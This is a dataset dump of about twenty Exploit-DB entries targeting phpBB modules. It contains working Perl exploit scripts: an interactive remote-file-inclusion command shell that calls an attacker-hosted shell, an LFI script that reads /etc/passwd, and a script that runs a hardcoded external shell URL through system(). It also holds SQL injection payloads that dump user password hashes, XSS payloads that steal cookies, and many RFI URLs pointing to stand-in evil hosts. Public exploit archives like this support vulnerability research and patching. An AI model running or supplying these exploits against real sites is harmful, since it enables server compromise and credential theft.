deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3373
Description: phpBB Module NoMoKeTos Rules 0.0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-24
Author: bd0rk

Exploit:
#!/usr/bin/perl
#
#phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit
# 
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, Lu7k, Maik
#
#Vulnerable Code: include_once($phpbb_root_path . 'includes/functions_admin.'.$phpEx);
#
# vendor: http://www.nomoketo.de/MODs/nomoketos_rules.zip

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/functions_nomoketos_rules.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to RulesMod ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-02-24]
Exploit-DB #4197
Description: phpBB Module SupaNav 1.0.0 - 'link_main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-18
Author: bd0rk

Exploit:
        phpBB Module SupaNav 1.0.0 (link_main.php) Remote File Inclusion Vulnerability


Vendor: http://www.phpbbhacks.com/download/8003

Download: http://www.phpbbhacks.com/load.php?id=8003

Founder: bd0rk

Website 1: www.soh-crew.it.tt

Website 2: www.school-of-hack.net

Contact: bd0rk[at]hackermail.com

ICQ: 249-613-511

Greetings: str0ke, TheJT, rgod, Kacper, GolD_M

Vulnerable Code in link_main.php:

--------------------------------------------------------------------------------------

require($phpbb_root_path.'language/lang_'.$userdata['user_lang'].'/lang_nav.'.$phpEx);

--------------------------------------------------------------------------------------

$phpbb_root_path is not declared before require

[+]Exploit: http://[target]/[directory]/link_main.php?phpbb_root_path=[ShellCode]


####The 18 years old german Hacker bd0rk####

# milw0rm.com [2007-07-18]
Exploit-DB #5301
Description: phpBB Module XS-Mod 2.3.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-24
Author: bd0rk

Exploit:
          ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
          .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
          ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
          .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
          ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
          .................................................................

[+] Software: phpBB Module XS 2.3.1
[+] Vendor: http://www.phpbbmods.de
[+] Download: http://www.phpbbmods.de/downloads.php?view=detail&id=3

[~] Vulnerability found by: bd0rk
[~] Contact: bd0rk[at]hackermail.com
[~] Website: http://www.soh-crew.it.tt
[~] Greetings: str0ke, TheJT, maria

[+] Vulnerable Code in /admin/admin_xs.php line 33
[+] Code: include_once('xs_include.' . $phpEx);
[+] It is a local file inclusion

[+]Exploitcode:

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";
print "\t\t+                                                 +\n\n";
print "\t\t+ phpBB Module XS 2.3.1 Local File Inclusion Expl +\n\n";
print "\t\t+                                                 +\n\n";
print "\t\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\n";

if (!$ARGV[0])
{
print "Usage: expl.pl [target]\n";
print "Example: expl.pl http://127.0.0.1/directory/admin/\n";
}

else
{
$web=$ARGV[0];
chomp $web;

$file="admin_xs.php?phpEx=../../../../../../../../../../../../../../../../etc/passwd%00";

my $web1=$web.$file;
print "$web1\n\n";
my $agent = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $agent->request($req)->as_string;

if ($doc=~ /^root/moxis ){
print "This is vulnerable\n";
}
else
{
print "It is not vulnerable\n";
}
}

# milw0rm.com [2008-03-24]
Exploit-DB #18212
Description: phpBB MyPage Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-07
Author: CrazyMouse

Exploit:
====================================================
 MyPage plugin (phpBB) SQL Injection (All versions)
====================================================

====================================================
Improve your hacking knowledges !
====================================================
====================================================
VISIT http://HackSociety.net !
====================================================

# Exploit Title: SQL Injection on the plugin phpBB plugin MyPage
# Google Dork: inurl:"mypage.php?id="
# Date: 06/12/2011
# Author: CrazyMouse (from HackSociety.net)
# Version: 0.2.3 (this is the last avaliable version, older versions are also vulnerable)
# Tested on: Windows 7 x64 (Firefox)

====================================================
VISIT http://HackSociety.net !
====================================================


[~] Exploit:
  
       	http://localhost/forum/
 
 
[~]    	http://localhost/forum/mypage.php?id= (SQL)


[~] Example: 

	http://server/forum/mypage.php?id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2Cphpbb_users.user_id%2C0x5e%2Cphpbb_users.user_type%2C0x5e%2Cphpbb_users.group_id%2C0x5e%2Cphpbb_users.username%2C0x5e%2Cphpbb_users.user_password%2C0x27%2C0x7e%29+from+%60forum_domperm%60.phpbb_users+limit+5%2C1%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271


====================================================
  
# Thanks to 
 
Crassus
 
====================================================


====================================================
VISIT http://HackSociety.net !
====================================================
Exploit-DB #25558
Description: phpBB Notes Module - SQL Injection
Type: webapps
Platform: php
Date: 2005-04-28
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13417/info

The notes module for phpBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/posting_notes.php?mode=editpost&p=-99%20UNION%20SELECT%200,0,username,0,0,0,0,0,0%20FROM%20orionphpbb_users%20WHERE%20user_id=2/*
Exploit-DB #25403
Description: phpBB Photo Album 2.0.53 Module - 'Album_Cat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-13
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13157/info

Photo Album is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/album_cat.php?cat_id=5&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25404
Description: phpBB Photo Album Module 2.0.53 - 'Album_Comment.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-13
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13158/info

Photo Album is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/album_comment.php?pic_id=224&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #31535
Description: phpBB PJIRC Module 0.5 - 'irc.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-25
Author: 0in

Exploit:
source: https://www.securityfocus.com/bid/28446/info

The PJIRC module for phpBB is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

http://www.example.com/forum/irc/irc.php?phpEx=./../../../../../../etc/passwd
Exploit-DB #4434
Description: phpBB Plus 1.53 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-20
Author: Mehrad

Exploit:
AUTHOR = Mehrad Ansari Targhi
E-Mail : mehrad1989@gmail.com
My Yahoo Messenger ID : mehrad_1989

Script Download URL : http://www.phpbbplus.net/PhpBBPlus1.53.zip

This Is A RFI Bug .
This Bug Is In : [ PHPBBPLUS INSTALLED ]/language/lang_german/lang
_main_album.php

Exploit : http://[PHPPLUS]/language/lang_german/lang_main_album.php?phpbb_root_path=[ http://shell.txt]?a=

# milw0rm.com [2007-09-20]
Exploit-DB #2486
Description: phpBB Random User Registration Number 1.0 Mod - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-07
Author: bd0rk

Exploit:
- phpBB RANDOm USER REGISTRATION NUMBER 1.0 File Include Vulnerability

- bd0rk || SOH-Crew

- URL: http://www.nivisec.com/downloads/phpbb/random_image_register_v100.zip

- Code: include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/lang_random_num_reg.' . $phpEx);

[+] Exploit: /includes/functions_num_image.php?phpbb_root_path=http://[target]/Shell?

Gr33tings: str0ke, TheJT, Lu7k, x0r_32

# milw0rm.com [2006-10-07]
Exploit-DB #25432
Description: phpBB Remote - 'mod.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-16
Author: tom cruise

Exploit:
source: https://www.securityfocus.com/bid/13209/info

A remote SQL injection vulnerability affects the datenbank module for phpbb. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. 

http://www.example.com/phpBB/moddb/mod.php?id='[SQL Injection]
Exploit-DB #2480
Description: phpBB Security Suite Mod 1.0.0 - 'logger_engine.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-05
Author: SpiderZ

Exploit:
           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Security Suite IP Logger Remote File Inclusion Vulnerability
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________


# Remote File Inclusion - Security Suite IP Logger



http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script]



-------------------------------------------------------------------------

# Download: http://www.phpbb.de/viewtopic.php?t=30261

# Download2: http://prdownload.berlios.de/dwingmods/logger_mod100.zip

-------------------------------------------------------------------------

# milw0rm.com [2006-10-05]
Exploit-DB #2311
Description: phpBB Shadow Premod 2.7.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-06
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
Shadow Prémod <= 2.7.1 [phpbb_root_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
Google d0rk: "Dernière version de la Prémod Shadow sur phpBB.biz"
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Shadow Prémod
version : 2.7.1
URL : http://premod-shadow.info
------------------------------------------------------------------


Exploit:
~~~~~~
Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_portal.php?phpbb_root_path=[Evi
l_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~~
declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-09-06]
Exploit-DB #2477
Description: phpBB Static Topics 1.0 - 'phpbb_root_path' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-04
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
phpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : phpBB Static Topics
version : 1.0
URL : http://www.nivisec.com/downloads/phpbb/static_forums.zip
------------------------------------------------------------------


Exploit:
~~~~~
Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~
declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

# milw0rm.com [2006-10-04]
Exploit-DB #3235
Description: phpBB Tweaked 3 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: Mehmet Ince

Exploit:
-----------------------------------------------

Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit:

www.xoron.info/bugs/phpbbtweaked.txt

-----------------------------------------------

download: http://sourceforge.net/projects/phpbbtweaked/

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn
Thanx: str0ke, kacper
 
-----------------------------------------------

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31]
Exploit-DB #2483
Description: phpBB User Viewed Posts Tracker 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-06
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpBB User Viewed Posts Tracker Version <= 1.0 [phpbb_root_path] File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.nivisec.com/downloads/phpbb/user_viewed_posts.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code: include_once($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_user_viewed_posts.' . $phpEx);

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:
/includes/functions_user_viewed_posts.php?phpbb_root_path=http://SH3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-06]
Exploit-DB #2349
Description: phpBB XS 0.58 - 'functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: AzzCoder

Exploit:
Author: AzzCoder

Vendor: http://www.phpbbxs.eu/

Vulnerable File: includes/functions.php

Vulnerable Code:

//The phpbb_root_path isn't initialize

include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

Method To Use:

http://www.victim.com/[phpbb_xs]/includes/functions.php?phpbb_root_path=http://yourdomain.com/shell.txt?

# milw0rm.com [2006-09-12]
Exploit-DB #28729
Description: phpBB XS 0.58 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-30
Author: xoron

Exploit:
source: https://www.securityfocus.com/bid/20277/info

phpBB XS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpBB XS 0.58 and prior versions are affected by these issues.

http://www.example.com/[path]/includes/functions_kb.php?phpbb_root_path=http://www.example.com
http://www.example.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://www.example.com
Exploit-DB #2453
Description: phpBB XS 0.58a - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-28
Author: Mehmet Ince

Exploit:
###########################################################

#phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)

############################################################

#Author: XORON - SHiKaA

############################################################

#URL: http://www.comscripts.com/jump.php?action=script&id=1082

############################################################

#Class: Remote

############################################################

#Code:   include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx);

############################################################

#Exploit:

http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=http://evil_scripts?
http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://evil_scripts?

############################################################

#Greetz: str0ke and AzzCoder ;)

############################################################

# milw0rm.com [2006-09-28]
Exploit-DB #3259
Description: phpBB++ Build 100 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-02
Author: Mehmet Ince

Exploit:
# (C) xoron
#
# [Name: phpBB++ (phpbb_root_path) Remote File Include Exploit]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=86688&package_id=90098]
#
# [xoron.biz - xoron.info]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0, DJR]
# 
# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );
#
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Acýk Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-02]